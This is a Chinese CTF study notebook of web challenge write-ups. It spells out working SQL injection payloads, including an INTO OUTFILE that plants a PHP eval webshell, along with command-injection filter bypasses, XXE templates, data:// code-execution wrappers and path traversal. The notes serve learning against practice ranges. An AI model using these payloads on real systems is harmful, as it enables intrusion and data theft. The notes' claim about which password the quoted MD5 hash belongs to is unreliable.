快速入门web方向buuctf+mo
快速入门web方向buuctf+moectf解题过程
sql注入
1.账号密码登陆题目
方法一:万能账户密码
判断闭合方式后就可以套公式啦
1 | SELECT*FROM table_name WHERE username=' a' and password='123'; |
2.我们要做的:
1 | SELECT*FROM table_name WHERE username=' a' or ture # ' and password='123'; |
当输入 a’ or ture #
整句话会被解析成:
1 | xx一堆被闭合的垃圾话xx or ture |
(一个成立即为真)
where条件为真,执行最前面select语句
那么就通关了
这里有一个问题:为什么账号和密码只要一个填了万能公式就可以成功?
你先想一下:账号填了这个万能公式,密码填的明明是错的为什么可以对?
1 | SELECT*FROM table_name WHERE username=' a' or ture # ' and password='123'; |
即使密码是错的,但是被注释掉了
只要整个语句的值是真的就欧克
所以当我们密码用万能时,语句变成:
1 | SELECT*FROM table_name WHERE username=' a' and password=' a' or true #'; |
你说你输什么用户能让这句话错吗?nonononono
[极客大挑战 2019]Secret File
1
这道题设计代审,我们会到某一个步骤发现php代码,然后按照提示我们需要用伪协议读取flag.php,
但是,千万注意:
因为关键的代码
这些都是漏洞,而想要利用这些漏洞构造payload必须要在这个网页上面
因此我们需要在此网页后直接跟payload:
?file=php://filter/read=convert.base64-encode/resource=你想要看的文件
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
这里得到的码在经过转码就能看到:
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{76a1cef7-2036-42cf-ab49-d9fc9bcba947}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
[强网杯 2019]随便注
1
随便注,那就sql注入
输入万能
发现字符型注入
发现数组,没啥用
1 | array(2) { |
order by,没结果。果断使用堆叠注入
selcet发现被过滤
1
1';show databases;#
1 | array(1) { |
1’;show tables;#
1
2
3
4
5
6
7
8array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}1
1'; show columns from `1919810931114514`;#
1 | array(6) { |
6.1
预编译:
1 | 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# |
6.2
handle
HANDLER 功能类似SELECT * FROM 表名,在不能用select的时候使用
1 | 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;# |
1 | HANDLER `1919810931114514` OPEN; -- 打开数据表 |
Pikachu靶场-SQL注入-数字型注入(post)题解
1 | `select * from 表 where 字段=输入内容`(无引号,直接接数字) |
1.抓包,发现有id=3&submit=%E6%9F%A5%E8%AF%A2,这个就是注入点
2.输入id=3 and 1=1 –&submit=%E6%9F%A5%E8%AF%A2 没报错
输入id=3 and 1=2 –&submit=%E6%9F%A5%E8%AF%A2 报错
由此,我们知道报错页面和没报错页面长啥样
3.寻找有多少个字段显示(1-3都输入后,发现3报错)
输入id=3 order by 1 –&submit=%E6%9F%A5%E8%AF%A2
因此只有两个字段
4.select显示
输入id=3 union select 11,22 –
输出:
hello,kobe
your email is: kobe@pikachu.com
hello,11
your email is: 22
5.找数据库名
1 | union select version() ,database() -- |
数据库名:pikachu
6.找表名
1 | union select table_name,22 from information_schema.tables where table_schema=database() -- |
表名:users
7.找列名
1 | union select column_name,22 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq |
列名:user,password
8.找数据
1 | union select username,password from users -- bbq |
Pikachu靶场-SQL注入-字符型注入(get)题解
1 | select * from 表 where 字段='输入内容' |
1.输入万能密码
得到:
your uid:1
your email is: vince@pikachu.com
your uid:2
your email is: allen@pikachu.com
your uid:3
your email is: kobe@pikachu.com
your uid:4
your email is: grady@pikachu.com
your uid:5
your email is: kevin@pikachu.com
your uid:6
your email is: lucy@pikachu.com
your uid:7
your email is: lili@pikachu.com
所以,我们能找到账号和密码,并且让它展示出来像这样就好了
your uid:账号
your email is: 密码
2.寻找账号密码,就需要知道他们在哪儿
查数据库:pikachu
查表:有个users表
查列名:找到passwd和username两个列名
显示账号密码:select password,username from users #
3.得到答案
Pikachu靶场-SQL注入-搜索型注入 题解
1 | select * from 表 where 字段 like '%输入内容%' |
找字段:
a%’ order by 2 #
Pikachu靶场-SQL注入-xx型注入 题解
1 | select * from 表 where 字段 like ('输入内容') |
找字段:
a’) order by 2 #
outfile
1.SELECT … INTO OUTFILE ‘文件路径’ //可以把搜索到的数据导出到文本文件上
2.secure_file_priv 的三种结果含义是:
NULL 表示不能导出文件
空值表示可以导出到任意路径
指定路径表示只能导出到该路径
3.@@secure_file_priv 用来判断你能不能写文件、能不能写 shell
4.@@datadir 用来查看数据库真实存放在哪个磁盘目录
sqli-7 题解
1.经过一系列探索注入尝试发现输入结构:((’’)),且字段数为3
1 | /?id=1')) union select 1,2,3--+ |
返回:
1 | You are in.... Use outfile...... |
这道题目没有回显,不能用联合注入
2.决定使用outfile进行木马注入
观察源代码
发现:输出错误信息这一行被注释掉了,所以不能用报错注入
1 | $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; |
于是想起题目提示:use outfile
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
打开my.ini配置文件,并修改其中的secure_file_priv='D://'
参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
修改完成并重启后在MySQL命令行中输入show variables like '%secure%';查看是否设置成功。
但是有使用条件:
1.你有没有权限
2.你知道你写入的文件在哪里(网站在服务器上的绝对路径)
找法:Web 路径只能通过:读源码、猜默认目录、或从数据库配置反推。
用靶场第二关来获得绝对路径。@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径
1 | ?id=-1 union select 1,@@basedir,@@datadir |
使用木马:
select 内容 into outfile
1 | ?id=-1')) union select 1,2,'<?php eval(@$_POST["cmd'"]);?>' into outfile"F:\\phpstudy_pro\\WWW\\sqli-labs\\less-7\\hack.php"--+ |
3.连接yijian,获得wedshell权限
sqli-8 题解(布尔盲注)
方法一:手搓
1.前期准备:
判断注入类型,字段个数(没有显示位,字符型注入)
2.布尔盲注
python sqlmap.py -u “http://286a3ec8-212c-4ea7-bb63-f896372bbe7e.node5.buuoj.cn/Less-8/?id=1‘“ -D security -T users -C username,password –dump –batch
步骤1:判断数据库长度
1 | ?id=1' and length(database())>1--+ //正常 |
1 | ?id=1' and length(database())=8 --+ |
步骤2:数据库名
1 | ?id=1' and ascii(substr((database()),1,1)) >100 --+ //正常 |
1 | ?id=1' and ascii(substr((database()),1,1)) =115 --+ |
115对应的的是s,继续猜测剩下的字母
得database=’security’
步骤3:判断表的数量
1 | ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=3--+ |
步骤4:表名
判断表长度
1 | ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+ |
。。。。。。。太多了,不如用sqlmap
但要大致学会原理:
一、布尔盲注
布尔盲注是一种基于布尔逻辑的盲注方法。
在sqli-labs的第八关中,我们可以尝试使用布尔盲注来获取管理员的密码。首先,我们需要找到注入点,然后构造一个类似于以下的查询语句:
1 | ' AND (SELECT * FROM users WHERE username='admin')=1 -- |
如果上述查询语句返回结果集,说明“admin”这个用户名存在于用户表中。接着,我们可以尝试构造一个包含密码猜测的查询语句,例如:
1 | ' AND (SELECT * FROM users WHERE username='admin' AND password='password')=1 -- |
如果返回结果集,说明我们猜测的密码可能是正确的。通过不断尝试不同的密码,最终可以获取到管理员的密码。
二、时间盲注
时间盲注是一种基于时间差的盲注方法。
在sqli-labs的第九关中,我们可以尝试使用时间盲注来获取管理员的密码。首先,我们需要找到注入点,然后构造一个类似于以下的查询语句:
1 | ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) -- |
上述查询语句会判断密码的第一位是否为字母“a”,如果是,则执行一个延时5秒的函数(SLEEP)。通过观察返回结果集的时间差,如果延时超过5秒,说明密码的第一位可能是字母“a”。接着,我们可以尝试其他字符,并观察时间差的变化,最终可以获取到管理员的密码。
很多时候不推荐使用
方法二:sqlmap
方法三:抓包
数据库常用
1 | id=1' and substr(database(),{% raw %}{{int(1-32)}}{% endraw %},1)='{% raw %}{{list(a|b|c|0|1|_)}}{% endraw %}' --+ |
[GXYCTF2019]Ping Ping Ping 1 题解
/?ip=
提示我们输入关于ip的命令,明显就是ping喽
url后加127.0.0.1,ping通了
然后ls,会发现直接显示出了flag.php
尝试cat查看,发现显示
/?ip= fxck your space!
啥玩意,明显不让我们看,为什么呢?因为space空格,那我们替换空格。用可以填写能够代替空的某些专业术语就行
1、命令绕过空格方法有:
1 | ${IFS}$9 |
2.有时会禁用cat:
解决方法是使用tac反向输出命令:
这个真的很有趣,比如内容是1,2,3
tac输出的是3,2,1
我觉得好可爱
切入正题:
输入
1 | /?ip=127.0.0.1;cat$IFS$1flag.php |
得到:
/?ip= fxck your flag!
诶哟,怎么flag也不行
那就制造一个不一样的flag
需要用到变量,比如
1 | ;a=g;fla$a |
试试看:
1 | /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
得到flag
攻防世界 robots 题解
抓包得到
1 | <h1></h1> |
url跟上/robots.txt
返回:
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.phpurl跟上/f1ag_1s_h3re.php
[SUCTF 2019]EasySQL
1题解
知识点
1.PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。
把||变成字符串连接符,而不是或
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置。
即set sql_mode=ppipes_as_concat
2. select语法
2.1搜索用法(查数据库里的数据)—— 不存在会报错
如果 select 后面跟的是 数据库中的表、字段,那确实是 “搜索”,找不到就会报错:
2.2 输出用法(打印常量 / 表达式)—— 永远不报错,和数据库数据无关
如果 select 后面跟的是 常量(1、’abc’)、数学表达式(1+2),那它就像 “echo”,直接输出结果,根本不依赖数据库里的任何数据:
例子 1:
select 1;→ 输出 1(和数据库里有没有表、有没有数据无关);例子 2:
select 1+2*3;→ 输出 7(SQL 直接计算表达式,不用查数据库);例子 3:
select 'hello';→ 输出 hello(字符串常量,天生存在)。
进入后显示:
Give me your flag, I will tell you if the flag is right.
1.输入以下语句:
1 | 1;desc `FLAG_TABLE` |
观察一下这些语句:
1;一堆语句
疑问:为什么要加1
因为我们猜测后端语句:
1 | select $_POST['query'] || flag from Flag; |
后端:
select $_POST[‘query’] || flag from Flag;
如果直接输入:show databases;
1 | select show databases|| flag from Flag; |
不符合语法,你都没有用到select语句,就直接跟show了
1 | select 1; show databases|| flag from Flag; |
这样输入之后语法正确
2.1继续输入
1 | 1;show columns from Flag;# |
Nonono.
思路一:输入payload(精心设计的恶意语句),然后把||看成拼接
1 | select 1 || flag from Flag |
这句话是:先搜索1,然后再搜索flag,再把俩值拼接起来
输入:
1 | select 1; sql_mode=PIPES_AS_CONCAT; || flag from Flag; |
|| 前面没有任何操作,会导致语法错误!
所以末尾再加上select 1;
而且别忘记加上后末尾不要跟; 否则也会导致||前面没有任何操作
变成:
1 | 1;sql_mode=PIPES_AS_CONCAT;select 1 //不行,改变参数要用set |
moectf 2025 05 第五章 打上门来!
题目关键词:穿梭在文件目录
即 在文件目录中寻找flag
1 | ./ 当前目录 |
在当前目录发现给我们的所有内容中并没有flag,说明:在这些文件目录的下一级
于是我们输入
1 | ../flag |
错了
寻找是否在 下一级目录的下一级中
1 | ../../falg |
以此类推
直到
1 | ../../../../../../../flag |
得到flag
典型的 XXE 注入漏洞 题目
知识点准备:
XXE:XML 外部实体注入(当成sql注入看就行)
XML:<标签> 格式
file:///var/www/html/………….
linux结构
通用格式
1 |
|
第一步:
一进去发现有个大方框让你提交东西,随便写一个啥提交,得到:
1 | <br /> |
分析:
1.Warning: DOMDocument::loadXML(): Start tag expected, ‘<’ not found in Entity
说明:第一,我们没有按照他所希望的格式注入:’<’(也就是’<’)
2.<输出>未定义</输出>
说明:第二,很明显了,格式是xml
第二,我们需要在这里获取flag内容
所以,这个会被后面用到
1 | <网站要求的标签>&x;</网站要求的标签> |
3./var/www/html/chapter10.php
很明显,linux文件夹结构,也许flag就在这里面
可以改成:/var/www/html/flag.txt
第二步:
输入对应格式的注入,拿到flag
固定格式:
1 |
|
1 | <!DOCTYPE A [ |
1 | //可以不写 |
用&实体名;的格式引用刚才定义的flag实体;
]>
<输出>&flag;</输出>
MoeCTF 2025 12 第十二章 玉魄玄关·破妄
1.一进入,看到了一句话木马
然后题解写着:一句话木马和flag在环境变量中
1 | <?php |
2.直接蚁剑连接,连接虚拟终端

发现啊linux系统,我们要在里面找flag
直接输入:env |grep -i flag
-i选项:不分大小写grep过滤
[极客大挑战 2019]LoveSQL
1题解
1.进去使用万能密码,登陆成功,发现一段乱码提交发现错误,这并不是flag
原url:/check.php?username=1’+or+1%3D1%23&password=55
2.输入1-4,4处报错,说明没有第四个字段
(在输入1-3时他说你密码错误不要慌,你只是在找字段,只要他能正常显示说明此字段存在)
1 | /check.php?username=1' order by 4%23&password=ads |
3.寻找注入点
1 | ?username=1' union select 1,2,3%23&password=ads |
返回2,3;
说明这两处为注入点
4.寻找数据库
1 | ?username=1' union select 1,database(),3%23&password=ads |
其中,3%23&password=ads
3是占位用的,没啥意义
%23是# ;
其次,为什么#后面还要输出,不是都注释掉了吗?
因为**# 是 SQL 里的注释符,但它管不到 URL 的参数格式 —— 网站要求必须传 password 参数,所以得用 &password=ads 补全格式,否则网站可能直接拒绝请求**
返回:Hello geek!
得到数据库:geek
5.寻找表名
1 | ?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads |
group_concat:“分组拼接”,MySQL 的聚合函数,把多行结果拼接成一个字符串(用逗号分隔)group_concat(table_name):把所有表名拼接成一个字符串返回(方便查看);table_schema:表所属数据库名
table_schema=database():限定只查当前连接的数据库的表。
返回:Your password is ‘geekuser,l0ve1ysq1’
说明表名:geekuser,l0ve1ysq1
- 寻找l0ve1ysq1的字段名
1 | ?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads |
返回:Your password is ‘id,username,password’
说明字段名:id,username,password
7.寻找l0ve1ysq1表的id,username,password三个字段
1 | ?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads |
得到:Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{7a23d0ab-def9-4f32-bd55-8e4155655f17}’
说明:flag{7a23d0ab-def9-4f32-bd55-8e4155655f17}
[RoarCTF 2019]Easy Java1题解
1.又是账号密码登陆,没有头绪,用sql失败,看到下面help
java.io.FileNotFoundException:{help.docx};
说明是个可下载文件,但当前get不行,用post试试
2.下载文件,发现无可用信息
3.看到 filename=参数 ,用之前说的穿越目录,发现不可以
4.看到页面有tomcat,说明服务器了
试试:filename=WEB-INF/web.xml
为什么?
WEB-INF/web.xml
科普:
WEB-INF/
目录是每个 Web 应用中必须存在的目录,包含一些配置信息,不会被直接暴露给客户端访问。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17WEB-主要包含以下文件或目录:
/WEB-/web.xml:
是 Tomcat 网站的「核心说明书」,藏着找 Flag 的关键线索,CTF 里碰到 Tomcat 任意文件下载漏洞,必查它!
/WEB-/classes/:
含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-/lib/:
用于存放 Web 应用所依赖的 JAR 包。
/WEB-/src/:
源码目录,按照包名结构放置各个java文件。
/WEB-/database.properties:
数据库配置文件
得到:
1 | <welcome-file-list> |
推出:
1 | /Flag`对应的路径为`/WEB-INF/classes/com/wm/ctf/FlagController.class |
4.filename=WEB-INF/classes/com/wm/ctf/FlagController.class文件,发现flag,解码
(末尾 = = 知道是base64)
正则表达式
| 咒语(符号) | 作用 | 举例 |
|---|---|---|
.(点) |
匹配 “任意一个字符”(比如汉字、数字、字母,除了换行) | 咒语 “a.c” 能找到 “abc”“a1c”“a 好 c”(中间随便啥都行) |
^(尖尖) |
匹配 “字符串开头” | 咒语 “^flag” 能找到 “flag123”“flag {abc}”(必须以 flag 开头),找不到 “123flag” |
$(美元符) |
匹配 “字符串结尾” | 咒语 “}”$ 能找到 “abc}”“flag {123}”(必须以} 结尾),找不到 “} 123” |
*(星号) |
前面的字符 “可以有 0 个或多个” | 咒语 “a*b” 能找到 “b”(a 有 0 个)、“ab”(a 有 1 个)、“aaab”(a 有 3 个) |
+(加号) |
前面的字符 “必须有 1 个或多个” | 咒语 “a+b” 能找到 “ab”“aaab”(a 至少 1 个),找不到 “b”(a 有 0 个) |
[](方括号) |
匹配 “方括号里的任意一个” | 咒语 “[123]” 能找到 “1”“2”“3”;咒语 “[a-z]” 能找到所有小写字母(a 到 z) |
[^](方括号 + 尖尖) |
匹配 “不在方括号里的任意一个” | 咒语 “[^0-9]” 能找到所有不是数字的字符(比如字母、符号) |
\d(d 小写) |
专门匹配 “数字”(0-9) | 咒语 “\d\d” 能找到 “12”“34”(两个数字),相当于 “[0-9][0-9]” |
\w(w 小写) |
专门匹配 “字母、数字、下划线” | 咒语 “\w” 能找到 “a”“5”“_”,找不到 “!”“@” |
1. 找 flag(最常用!)
正则咒语:
flag\{.*?\}(念法:flag 左大括号,任意字符少少的,右大括号);原理:
flag\{:先找到 “flag {”(大括号要加 \,因为大括号是特殊咒语,得 “转义” 一下,告诉正则 “我就是要找大括号”);.*?:.*会尽可能多地吃字符,?);
?意味吃到第一个就停\}:最后找到 “}”;
2. 绕限制(Web 题常用)
场景:网站不让输入 “union select”(比如 SQL 注入时),输入就被拦截(网站用正则检测这个关键词);
正则咒语(网站的拦截规则):
^.*union.*select.*$(意思:只要包含 “union” 和 “select” 就拦截);
^ .* union .* select .* $绕过方法(改你的输入,让网站的正则认不出来):
大小写混淆:输入 “Union Select”(网站的正则只认小写,这样就绕过去了);
插无关字符:输入 “uni//on sel//ect”
/**/:注释
效果:成功输入你要的内容,实现 SQL 注入,拿到 flag!
3. 筛密码(密码破解题)
- 场景:题目说 “密码是 8 位以上,有大写、小写、数字、感叹号”,给你一个密码字典(一堆可能的密码),要快速找出符合条件的;
- 正则咒语:
^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*!)(.{8,})$; - 原理(简单说):
(?=.*[a-z]):必须有小写字母; ?=是必须要有的意思(?=.*[A-Z]):必须有大写字母;(?=.*\d):必须有数字;(?=.*!):必须有感叹号;(.{8,}):总长度至少 8 位; .是任意字符
- 效果:从 1000 个密码里,秒筛出符合条件的 10 个,再逐个尝试破解!
练习 2:找数字
右边文本:
1
我的QQ是123456,电话是789-0123
左边咒语:
1
\d{6}
(找 6 个连续数字)
d{6}→ 匹配 “dddddd”;\d{6}→ 匹配 “123456”。
效果:高亮 “123456”!
1.限定符
1 | a* a出现0或多次 |
2.运算符
1 | (a|b) 匹配a或者b |
1.zsteg out.png 显示每个通道的隐写信息
针对png
2.exiftool out.png
png jpg
查看图片原数据/文件分析,找到提示
comment
3.binwalk
分析文件,分区块,找到结构
4.strings
显示图片可打印字符
[GXYCTF2019]BabySQli
1题解
1.万能密码(输入1’后有引号被包括在‘’内的报错,说明为字符型;输入1无报错)
发现do not hack me!,说明有过滤
但是得到了:
<**title**>Do you know who am I?</**title**>
base32:MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
解码后的base64,在解码得:
1 | select * from user where username='$name' |
2.判断注入点
name=1’ union select 1,2#&pw=admin
试试:order by 1
2
3
4出现Error: The used SELECT statements have a different number of columns
说明3个注入点
4.查看代码找找灵感
search.php源码(search.php是 “用户输入 + SQL 执行” 的直接载体)
1 | if(preg_match("/\(|\)|\=|or/", $name)){ //过滤 |
由上:
1.存在admin
输入:
name=1’ union select 1,2,’admin’#&pw=admin **wrong user!
name=1’ union select 1,’admin’,3#&pw=admin wrong pass!
说明:
字段2、3分别对应name、password
5.构造payload
search.php源码
1 | if($arr[1] == "admin"){ |
1 | name=1' union select 1,'admin','MD5加密后的密码'#&pw=对应密码 |
123456加密后:c4ca4238a0b923820dcc509a6f75849b(我试过大写错了)
所以:name=1’ union select 1,’admin’,’c4ca4238a0b923820dcc509a6f75849b’#&pw=1
[极客大挑战 2019]BabySQL
1
select,from,imf被过滤,要双写
| 原始关键词 | 标准双写写法 | 拆分逻辑(帮理解) |
|---|---|---|
| union | ununionion | un + union + ion |
| select | selselectect | sel + select + ect |
| from | frfromom | fr + from + om |
| where | whwhereere | wh + where + ere |
| information | infoorrmation | info + or + rmation(注:information 是特殊款,核心是双写中间的 or,而非完整词) |
| schema | schschemaema | sch + schema + ema |
1 | ?username=1' and ununionion selselectect 1,2--+&password=1 |
1 | The used SELECT statements have a different number of columns |
1 | ?username=1' ununionion selselectect 1,2,3--+&password=1 |
1 | Hello 2! |
1 | group_concat(table_name) from information_schema.tables where table_schema=database() |
1 | ?username=1' ununionion selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+&password=1 |
1 | You have an error in your SQL syntax; |
1 | ?username=1' ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata --+&password=1 |
1 | Hello 2! |
1 | ?username=1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'--+&password=1 |
1 | Hello 2! |
1 | ?username=1' ununionion selselectect 1,2,group_concat(flag) frfromom ctf.Flag--+&password=1 |
[CISCN2019 华北赛区 Day2 Web1]Hack World 1
提示:All You Want Is In Table ‘flag’ and the column is ‘flag’
Now, just give the id of passage
输入1:
Hello, glzjin wants a girlfriend.
1.sql发现被过滤
2.fezz得到基本上只要是关键字都被过滤了,改用 盲注脚本
1 | import requests |
1 | # 2. 定义盲注核心函数,参数url是靶场地址 |
moectf 16 第十六章 昆仑星途 题解
data://伪协议,把 URL 里的代码内容当成 “虚拟文件” 让 PHP 解析执行
f* 是通配符匹配,平常如果不知道 flag 文件的完整名称可以用(linux)
1 | <?php |
自动拼接
1 | data://text/plain,<?php system('cat /f*');?>.php ?> : php只读到这里,houmianbuyunxing |
1 | data:text/plain,<?php system('cat /flag 文件的完整名称');//.php ’//‘ : 注释 |
data: 伪协议 代码就嵌在 URL 里,get就行
php://input 伪协议:得另外用post传代码。
举例:
用 data: URL 里直接写
?file=data:text/plain,<?php 执行代码 ?>,一步到位; ?file=data:数据类型,要执行的代码// 其中text/plain:指定数据类型 纯文本
,:分隔符
用 php://input:URL 里只写
?file=php://input,然后在 POST 里单独传<?php 执行代码 ?>,分两步1
2
3
4
5
6
7POST /?file=php://input
Host: 127.0.0.1:16898
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
system('cat /f*');
1 | POST /?file=php://input |
Moe web 笑传之猜猜爆
源代码中:
猜数字游戏
我刚才随机选定了一个10000以内的自然数。你有多达 1 次的机会猜中它!我会告诉你猜的高了还是低了...(这好像没有用?对吗?哈哈哈哈)
1.进入/static/main.js
看到
1 | if(userGuess === randomNumber) { |
得知:POST直接去/flag,得到flag
moectf web 01 第一章 神秘的手镯_revenge
``
K皇:咳咳…其实当年飞升后,为了防止你偷偷看我收藏的小秘密,我重新设置了一个密码放在wanyanzhou.txt里面了……但是我忘记密码是啥了,而且不小心把保存密码的文件删了……
HDdss:这…应该有备份吧?
K皇:确实有,不过当时着急忘记了…输入太多错误密码,手镯直接锁死了,要连续输入500遍正确密码才能打开。
``
源代码:
「以万言咒启封,禁取巧之道」 |
| <textarea id=”passwordInput” //这里有id=”passwordInput” |
| placeholder=”在此结印输入万言启封咒…”>在此输入万言启封咒 |
粘贴禁止!请手动输入! |
| //这里有个button id=”unsealButton” |
1.访问 wanyanzhou.txt.bak,下载打开,得到密码
2.发现不能复制粘贴,就去控制台执行脚本
(难怪为什么老是执行不了,这设置了 debugger 设置断点来阻止自动化脚本,可以关闭)
知识点:
1.setInterval(函数, 时间): “每隔 X 毫秒重复执行这个函数里的代码”,比如 setInterval(function(){alert('hi')}, 1000) 就是每隔 1 秒弹一次 “hi”。
2.自动执行函数
1 | (function() { |
脚本:
1 | (function() { |
moectf web 04 第四章 金曦破禁与七绝傀儡阵 题解
1.get传参
url+stone_golem?key=xdsec
这里有个疑问为什么不是/?key=xdsec
是因为这里的stone_golem是个文件不是个目录
后端文件路径:/var/www/html/stone_golem.php → 访问 stone_golem?key=xdsec(省略.php);
后端目录路径:/var/www/html/stone_golem/ → 访问 stone_golem/?key=xdsec(加/指向目录)。
获得玉简碎片: bW9lY3Rme0Mw
2.post传参
bp改post,传入参数
获得玉简碎片: bjZyNDd1MTQ3
3.本地访问
X-Forwarded-For:127.0.0.1
| 请求头字段(英文) | 解释 | 举个例子 |
|---|---|---|
| Host | 告诉服务器 “我要访问你哪个网站”(一台服务器可能有多个网站,靠这个区分) | 比如访问百度,Host 就是www.baidu.com |
| User-Agent | 告诉服务器 “我用的啥设备 / 浏览器”(比如你是用手机还是电脑,用 Chrome 还是 Edge) | 比如Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0(代表 Windows 电脑 + Chrome 浏览器) |
| Referer | 告诉服务器 “我是从哪个页面跳过来的” | 从www.baidu.com点进知乎,Referer 就是www.baidu.com |
| Cookie | 服务器给你的 “身份小票”(存着你的登录状态、账号信息,下次访问直接带过去,服务器就知道你是谁了) | 比如user_id=123; token=abc123(代表你是 123 号用户) |
| X-Forwarded-For | 告诉服务器 “请求的真实来源 IP 是什么” | 比如192.168.1.100(你的本地 IP) |
| Accept | 告诉服务器 “我能接收啥格式的内容”(比如要网页还是图片) | 比如text/html,image/png(要网页和图片) |
| Accept-Encoding | 告诉服务器 “我能解压啥压缩格式”(节省传输流量) | 比如gzip, deflate(支持这两种压缩) |
| Accept-Language | 告诉服务器 “我能看懂啥语言”(比如要中文还是英文页面) | 比如zh-CN,zh;q=0.9(优先中文) |
获得玉简碎片: MTBuNV95MHVy
4.修改浏览器
改成user-agent:moe browser
获得玉简碎片: X2g3N1BfbDN2
5.需要以xt的身份认证user!
Cookie: use=xt
获得玉简碎片: M2xfMTVfcjM0
6.你从哪里来
改成:Referer: http://panshi/entry
获得玉简碎片: bGx5X2gxOWgh
7.put请求
使用PUT方法,请求体为”新生!”
用curl构造请求
获得玉简碎片: fQ==
拼接:
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
解码:
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
moectf web 06 第六章 藏经禁制?玄机初探!
账号密码题目,万能密码破解
得flag
moectf web 07 第七章 灵蛛探穴与阴阳双生符
1.robots.txt:
它就像网站给搜索引擎爬虫立的 “家规”
放在网站根目录下(比如https://xxx.com/robots.txt)
纯文本格式,写清楚 “哪些页面你能爬、哪些不能爬”。
robots.txt具体页面:
1 | User-agent: * # 对所有爬虫生效 |
2.md5是啥
答:MD5 是一种哈希算法,能把任意长度的内容转换成固定 128 位(32 个字符)的哈希值(比如123的 MD5 是202cb962ac59075b964b07152d234b70)。正常情况下不同内容的 MD5 值不同,但存在MD5 碰撞—— 即两个不同的内容,MD5 值完全一样。
规定:MD5参数必须是字符串
3.?? "":如果 URL 里传了a参数,$a就等于传的值;没传a参数的话,$a就等于空字符串(避免报错)。
题目:省流:有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。
1.去访问robots.txt
得:
1 | User-agent: * |
2.访问:/flag.php
得
1 | <?php |
所以我们就要传a,b上去,并给他们赋值,要求:a和b数值要不一样;a和b哈希值要一样
?a=…&b=…
1 | ?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
- %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
